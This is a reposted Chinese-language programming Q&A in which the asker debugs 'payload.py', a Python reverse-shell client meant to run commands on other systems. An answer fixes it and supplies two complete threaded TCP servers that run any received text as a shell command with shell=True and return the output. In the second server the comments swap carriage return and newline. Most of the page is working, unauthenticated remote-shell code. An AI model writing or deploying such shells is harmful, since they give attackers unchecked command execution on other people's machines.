我試圖制作一個在其他系統上執行系統命令的程式。當我發出在終端上執行的命令時出現此錯誤。
import socket
import subprocess
payload = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
payload.connect(("localhost",4444))
print("Successfully, Connected..!!")
while True:
cmd = payload.recv(2048)
if cmd == 'exit':
payload.close()
break
cmd = cmd.decode('utf-8')
output = subprocess.check_output(payload, shell=True)
payload.send(output)
輸出是這個
Traceback (most recent call last):
File "C:\Users\Wasii\Desktop\python-payload\payload.py", line 13, in <module>
output = subprocess.check_output(payload, shell=True)
File "C:\Users\Wasii\AppData\Local\Programs\Python\Python310\lib\subprocess.py", line 420, in check_output
return run(*popenargs, stdout=PIPE, timeout=timeout, check=True,
File "C:\Users\Wasii\AppData\Local\Programs\Python\Python310\lib\subprocess.py", line 501, in run
with Popen(*popenargs, **kwargs) as process:
File "C:\Users\Wasii\AppData\Local\Programs\Python\Python310\lib\subprocess.py", line 966, in __init__
self._execute_child(args, executable, preexec_fn, close_fds,
File "C:\Users\Wasii\AppData\Local\Programs\Python\Python310\lib\subprocess.py", line 1375, in _execute_child
args = list2cmdline(args)
File "C:\Users\Wasii\AppData\Local\Programs\Python\Python310\lib\subprocess.py", line 561, in list2cmdline
for arg in map(os.fsdecode, seq):
TypeError: 'socket' object is not iterable
uj5u.com熱心網友回復:
你必須傳遞cmd給subprocess.check_output,而不是payload。
這就是我將如何編碼服務器以處理多個并發客戶端:
import socketserver
import subprocess
HOST = '127.0.0.1'
PORT = 4444
class MyHandler(socketserver.StreamRequestHandler):
def handle(self):
while True:
cmd = self.request.recv(2048).strip() # get rid of trailing newline if present:
cmd = cmd.decode('utf-8')
if cmd == 'exit':
break
output = subprocess.check_output(cmd, shell=True)
self.request.sendall(output)
try:
with socketserver.ThreadingTCPServer((HOST, PORT), MyHandler) as server:
print('Hit CTRL-C to terminate...')
server.serve_forever()
except KeyboardInterrupt:
print('Terminating.')
更新
根據 AKX 的評論,如果您擔心在一次呼叫中可能無法接收到完整的命令socket.socket.recv,那么您可以約定該命令必須由特殊的“命令結束”字符終止。然后,您一次讀取一個位元組的輸入來組裝命令,直到您看到“命令結束”字符。在下面的示例中,我們將命令結束字符設定為換行符,可以選擇在其前面加上回車符。通過這種方式,我們可以使用 telnet 客戶端在 Windows 或 Linux 上進行測驗:
import socketserver
import subprocess
HOST = '127.0.0.1'
PORT = 4444
class MyHandler(socketserver.StreamRequestHandler):
def handle(self):
while True:
buf = []
# Command ends with a newline optionally preceded by a carriage return
# Accumulate byte stings until a newline is seen:
while True:
bytestring = self.request.recv(1)
if bytestring[0] == 10: # carriage return?
continue
if bytestring[0] != 13: # newline?
buf.append(bytestring)
else:
break # We have seen the end-of-command character
# Assemble all the 1-byte strings
cmd = b''.join(buf).decode('utf-8')
if cmd == 'exit':
break
output = subprocess.check_output(cmd, shell=True)
self.request.sendall(output)
try:
with socketserver.ThreadingTCPServer((HOST, PORT), MyHandler) as server:
print('Hit CTRL-C to terminate...')
server.serve_forever()
except KeyboardInterrupt:
print('Terminating.')
轉載請註明出處,本文鏈接:https://www.uj5u.com/qiye/512338.html
上一篇:使用Python套接字編程在Linux和Windows之間進行檔案傳輸期間的UnicodeDecodeError
